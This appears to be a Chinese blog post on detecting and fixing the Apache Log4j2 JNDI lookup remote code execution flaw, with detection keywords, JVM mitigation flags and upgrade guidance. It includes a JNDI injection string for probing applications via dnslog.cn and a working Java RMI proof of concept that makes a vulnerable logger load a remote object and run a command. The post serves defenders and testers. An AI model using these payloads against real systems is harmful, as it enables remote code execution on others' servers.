Apache Log4j2 远程代码执行漏洞修复 转至元数据结尾

1、漏洞描述

2021年11月日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink、Apache Kafka等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。

2、漏洞原因

Log4j 是一款开源 Java 日志记录工具。日志记录主要用来监视代码中变量的变化情况,周期性的记录到文件中供其他应用进行统计分析工作;跟踪代码运行时轨迹,作为日后审计的依据;担当集成开发环境中的调试器的作用,向文件或控制台打印代码的调试信息。因此,对于程序员来说,日志记录非常重要。在强调可重用组件开发的今天,Apache 提供的强有力的日志操作包 Log4j。Log4j 可以轻松控制 log 信息是否显示、log 信息的输出端类型、输出方式、输出格式,更加细致地控制日志的生成过程,而其通过配置文件可以灵活地进行配置而不需要大量的更改代码。因此,很多互联网企业都选择使用 Log4j 。

2014 年,Log4j 2 发布。Log4j 2 是对 Log4j 的重大升级,完全重写了 log4j 的日志实现。Log4j 2 提供了 Logback 中可用的许多改进,同时修复了 Logback 架构中的一些固有问题,目前已经更新到 2.15.0 版本。Log4j2 也支持 SLF4J,可以自动重新加载日志配置,并支持高级过滤选项。此外它还允许基于 lambda 表达式对日志语句进行延迟评估,为低延迟系统提供异步记录器,并提供无垃圾模式以避免由垃圾收集器操作引起的任何延迟。通过其他语言接口,企业也可以在 C、C++、.Net、PL/SQL 程序中使用 Log4j。

此次漏洞的出现,正是由用于 Log4j 2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。简单来说,就是在打印日志时,如果发现日志内容中包含关键词 ${,那么这个里面包含的内容会当做变量来进行替换,导致攻击者可以任意执行命令。详细漏洞披露可查看:https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3201?filter=allissues 。由于线上 web 业务的任何数据都可能写入 Log4j,甚至一些 pre-auth 的地方,比如注册、登录,实际攻击入口取决于业务具体情况。目前百度搜索、苹果 iCloud 搜索、360 搜索等都出现了该问题。

12月10日上午,阿里云安全团队再次发出预警,发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,建议及时更新至 Apache Log4j 2.15.0-rc2 版本。对于这次漏洞,有网友评价说道,“可以说是灾难性的漏洞,比之前的 fastjson 和 shiro 还要严重,这个漏洞估计在之后三四年内还会继续存在….”

lookup功能造成的漏洞

(1)、攻击者在利用漏洞之前通常采用dnslog方式进行扫描、探测,常见的漏洞利用方式可通过应用系统报错日志中的"javax.naming.CommunicationException"、"javax.naming.NamingException: problem generating object using object factory"、"Error looking up JNDI resource"关键字进行排查。
(2)、攻击者发送的数据包中可能存在"${jndi:}" 字样,推荐大家使用WAF进行检索排查。

3、检测方式

(1)由于攻击者在攻击过程中可能使用 DNSLog 进行漏洞探测,建议企业可以通过流量监测设备监控是否有相关 DNSLog 域名的请求,例如:通过监测相关流量或者日志中是否存在“jndi:ldap://”、“jndi:rmi”等字符来发现可能的攻击行为。

(2)测试步骤:

第一步,访问 dnslog.cn ,点击“GetSubDomain”按钮,获取临时专有子域名,用于获得DNSlog回显:如 onlydemo.dnslog.cn
第二步,根据该子域名构建一个JNDI字符串:如${jndi:ldap://网页链接}
第三步,访问有可能应用了log4j的Java应用系统,在页面的输入框中尝试上述JNDI字符串,或直接log.info尝试,如下图所示。

第四步,回到刚才的 dnslog.cn ,点击“Refresh Record”,会发现多了一条DNS回显记录,如下图所示。如果没有该漏洞,则就不会有DNSlog回显记录。

(3)rmi测试方式:

public class RmiObject implements ObjectFactory {
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        // Runtime.getRuntime().exec("calc");
        Runtime.getRuntime().exec("open /Applications/Calculator.app");
        return new RmiObject();
    }
}
 
 
public class RmiSever {
    public static void main(String[] args) {
        try {
            String url = "http://127.0.0.1:8080";
            Registry registry = LocateRegistry.createRegistry(9080);
            System.out.println("create RMI registry on port 9080");
            Reference reference = new Reference("com.xxx.utils.RmiObject","com.xxx.utils.RmiObject",url);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("eval",referenceWrapper);
            System.out.println("running");
        catch (Exception e) {
            e.printStackTrace();
        }
    }
}
 
 
public class RmiClient {
    private static Logger logger = Logger.getLogger(RmiClient.class);
 
    public static void main(String[] args) {
        String url = "rmi://127.0.0.1:9080/eval";
        String log = "${jndi:"+ url +"}";
        logger.info(log);
    }
}

 

4、修复方案

(1)紧急措施

修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true
修改配置 log4j2.formatMsgNoLookups=True
将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

(2)修复措施

jdk 1.6 无官方平滑升级修复版本,需要自行升级jdk到1.8在升级log4j到2.15.0或者使用logback替换log4j
jdk 1.7 log4j 2.x相关jar包全家桶统一升级到2.12.1(官方最后一个支持1.7的版本),并配置JVM启动参数 -Dlog4j2.formatMsgNoLookups=true或logger初始化之前加入代码System.setProperty("log4j2.formatMsgNoLookups", "true");
jdk 1.8 相关jar包升级到2.15.0即可

(3)注意:

只有log4j-api 2.x,没有log4j-core 2.x,不用升级,需要确认编译部署的包里没有log4j-core 2.x
2.15.0版本默认打开-Dlog4j2.formatMsgNoLookups=true 不需要在jvm加了
针对ES、Hive、Flink等三方中间件,目前官方还没有fix版本,暂只能先加上-Dlog4j2.formatMsgNoLookups=true

5、知识点

下图是Oracle官方的一张关于JNDI的介绍。关键的地方在于JNDI通过SPI机制,可以和LDAP、RMI等各种技术,产生联动。
任何为了追求方便而不遵守常规的便捷通道,都会产生问题。SPI是为数不多的打破Java类加载机制的技术,和Unsafe类一样,强大但并不那么推荐使用。

posted @ 2021-12-29 16:27  zbjice  阅读(250)  评论(0)    收藏  举报